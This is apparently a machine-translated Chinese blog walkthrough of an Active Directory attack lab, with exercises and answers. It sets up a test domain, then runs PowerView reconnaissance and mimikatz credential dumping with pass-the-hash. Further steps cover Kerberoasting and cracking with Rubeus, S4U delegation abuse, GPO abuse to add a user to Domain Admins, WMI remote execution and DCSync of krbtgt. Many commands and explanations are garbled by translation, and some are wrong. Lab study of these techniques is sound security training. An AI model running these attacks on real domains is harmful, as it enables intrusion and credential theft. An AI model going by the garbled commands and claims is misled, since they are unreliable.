zoukankan      html  css  js  c++  java
  • ActiveDirectorySecurity101 手册

    后置知识

    刚入门的小伙伴京东或者淘宝买这本书可以去看看

    Windows Server 2012 R2系统配置指南_戴有伟编着

    文章是根据https://github.com/cfalta/adse c改编的。

    环境搭建

    https://github.com/cfalta/adsec/tree/main/lab-setup

    • DC-Windows 2019
    • 用户杰克-Windows 2019
    • SqlServer-Windows 2019

    配置域控

    新增一个网卡,三个虚拟机使用这个网卡设置指定ip我是直接复制虚拟机,需要更改mac地址和sid还需要更改sid可以使用系统内置的工具sysprep或者另外一个newsid工具https:// newsid.softag.com/download在三台机器上以管理员权限执行以下命令。
    图像.png


    图像.png

    图像.png


    图像.png

    图像.png

    • 关闭防火墙
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
    • 关闭Windows Defender
    卸载-WindowsFeature -Name Windows-Defender

    下载自动化脚本辅助安装
    https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts

    运行createdomain脚本,自己修改里面的域名称。
    这里应该不能一步完成
    先执行

    安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

    重启之后继续执行。重启后执行这个文件功能就是根据json文件去自动添加用户和组等等。
    图像.png

    图像.png


    图像.png
    图像.png

    图像.png
    图像.png

    配置域内机

    在两台成员机器上使用以下两个域账号注册

    约翰·多伊约翰P@ssw0rd
    李小龙流血铁拳真棒!


    user1这台用john认证user2机器用blee登录
    图像.png

    攻击机器准备

    用john登录user1这台机器,当做点,再分配一张网卡,让他出网。
    默认工具包下载地址
    https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

    猎犬安装及配置

    谷歌一下

    信息收集


    导入电源模块

    cd C: \a ttacker-tools
    cat -raw " .\PowerView.ps1 "  | 交换器

    获取当前域的基本信息和域控位置

    获取域
    获取域控制器

    图像.png
    查看有多少电脑和域内用户

    获取域计算机
    获取域用户

    过滤出域管出来

    获取域用户|  ? { $_ .memberof -like " *域管理员* " }
    
    获取域用户|  ? { $_ .memberof -like " *域管理员* " } |  选择 相同的帐户名
    

    图像.png
    图像.png

    课后习题

    参考答案我会选择最后面哦

    1. 域里有多少台计算机以及它们在什么上面运行?
    2. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。
    3. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
    4. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?
    5. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。

    NTLM的利用

    • 模仿
    • psexec

    需要管理员权限,使用本地管理员用户登录

    特权::调试
    令牌::提升
    lsadump::sam

    获得到管理员哈希
    7dfa0531d73101ca080c7379a9bff1c7 pth 攻击
    图像.png

    sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab

    图像.png

    psexec.exe \\ user2 cmd

    图像.png

    课后习题

    1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
    2. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
    3. 如何解决 PTH 问题,请讲清楚原因。
    4. 是否有可能(可能会)完全不是NTLM?解释你的理由。

    Kerberos-烘焙

    预习资料网络——AS-REP Roasting
    加载插件

    cd C: \a ttacker-tools
    猫生的。\ PowerView.ps1 | 交换器
    猫生的。\I nvoke-Rubeus.ps1 | 交换器

    查询SPN,获得服务用户

    获取域用户-SPN |  选择 samaccountname、 description、pwdlastset、serviceprincipalname

    图像.png

    Rubeus 有一个统计 kerberos 数据的功能

    Invoke-Rubeus -Command " kerberoast /stats "

    获取目标账户的TGS

    Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "

    这里的脚本是base64之后通过powershell内存加载
    图像.png

    函数 调用-Rubeus([string]$Command)
    {
    $Message = " base64 " ;
    
    $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message ))
    [Rubeus.Program]::Main( $Command .Split( "  " ))
    }

    图像.png

    破解TGS

    . \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2

    图像.png

    课后习题

    1. 描述一下您认为最好的缓解技术,并解释其原因。
    2. 还有一个用户会受到 ASREP 的影响,请找出来。
    3. 解释一下TGS vs. ASREP烘焙

    Kerberos(委托)

    之前设置的时候改json里面的数据,没有域改了委派用户
    图像.png

    Get-DomainUser -TrustedToAuth

    视委派的目标

    Get-DomainUser -TrustedToAuth |  选择 -ExpandProperty msds-allowedtodelegateto

    图像.png
    执行这个攻击的条件就是要知道用户的密码才行
    生成hash

    Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "

    图像.png

    Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI
    图像.png




    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT 
    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT 
    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT 
    

    图像.png

    查看检查的报告自己前面
    我设置错了,委派的目标应该设置成user2,user1 是,但都一样。
    图像.png

    ls \\ user1.wing.lab \C $

    通过wmi控制user1

    Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com

    课后习题

    1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组
    2. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用”


    ACL攻击

    信息收集

    猫生的。\S harpound.ps1 | 交换器
    Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
    • CollectionMethod Dc只表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是流量正常。
    • Stealth单线程启动。速度较慢,但安全。
    • PrettyJson 格式化.json文件。
    • NoSaveCache 不保存保存文件。


    启动血犬下载社区版的neo4j https://neo4j.com/download-center/#releases
    图像.png



    ❯ jdk11
    ❯ ./neo4j 开始

    图像.png

    先把service1标记为已陷陷点这里点击这里用户对域控的组策略有可访问权限,通过组策略利用,攻击DC需要先以service1的身份登录
    图像.png


    图像.png

    图像.png

    runas /user:wing.lab \s ervice1 powershell
    . \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName 默认域控制器策略 --force
    

    图像.png
    图像.png

    写完以后,等管理员更新组策略才有可能触发。
    手工弄弄。提权成功登陆到域控。
    图像.png

    图像.png

    图像.png

    课后习题

    • acl 攻击有哪些利用工具?

    权限维持

    权限维持的东西比较多

    • 金银笔记本
    • 后门
    • 等等等等


    一般DC权限就先执行

    lsadump::dcsync /user:krbtgt

    所有收到用户hash,也可以作为后门。

    课后习题

    • 自主学习这些权限维持方法的原理。

    参考答案

    我做的特别对,有错误请留言。

    信息收集

    powerview3.0 技巧
    https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

    1. 域里有多少台计算机以及它们在什么上面运行?

    图像.png

    1. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。

    图像.png

    1. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
    Get-DomainGroupMember -Identity 域管理员 -Recurse

    图像.png

    1. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?

    图像.png

    1. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。
    获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon

    图像.png

    NTLM

    猕猴桃命令大全

    1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
    privilege::debug - 提升为管理员权限
    token::elevate - 奖励奖励,获得其他用户的奖励系统权限
    1. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
    lsadump::dcsync /domain:wing.lab /user:bruce
    
    转储所有数据
    lsadump::dcsync /domain:wing.lab /all /csv
    1. 如何解决 PTH 问题,请讲清楚原因。
    • 打上打kb2871997禁止并且SID=500的管理员用户
    • 监控日志
    1. 是否有可能(可能会)完全不是NTLM?解释你的理由。
    • 审查收到的 NTLM 调查:允许对所有帐户的审查
    • 仅发送NTLMv2响应。

    第四点我不太确定。

    Kerberos(烘焙)

    1. 描述一下您认为最好的缓解技术,并解释其原因。
    • 禁止用户开启Do not require Kerberos preauthentication
    • 禁止弱口令
    1. 还有一个用户会受到 ASREP 的影响,请找出来。

    Get-DomainUser -PreauthNotRequired -Verbose

    1. 解释一下TGS vs. ASREP烘焙

    https://www.4hou.com/posts/YVyM

    Kerberos(委托)

    1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组:
    • psexec
    wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
    1. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用?”

    可以攻击域控

    访问控制列表

    acl 攻击有哪些利用工具?

    • github.com

    权限维持

    自主学习这些权限维持的原理。

  • 相关阅读:
    @RequestParam注解使用:Name for argument type [java.lang.String] not available, and parameter name information not found in class file either.
    cglib动态代理导致注解丢失问题及如何修改注解允许被继承
    springboot Autowired BeanNotOfRequiredTypeException
    git根据用户过滤提交记录
    不同包下,相同数据结构的两个类进行转换
    How to use Jackson to deserialise an array of objects
    jooq实践
    java如何寻找main函数对应的类
    Python--matplotlib
    Python 和 Scikit-Learn
  • 原文地址:https://www.cnblogs.com/backlion/p/15598524.html
Copyright © 2011-2022 走看看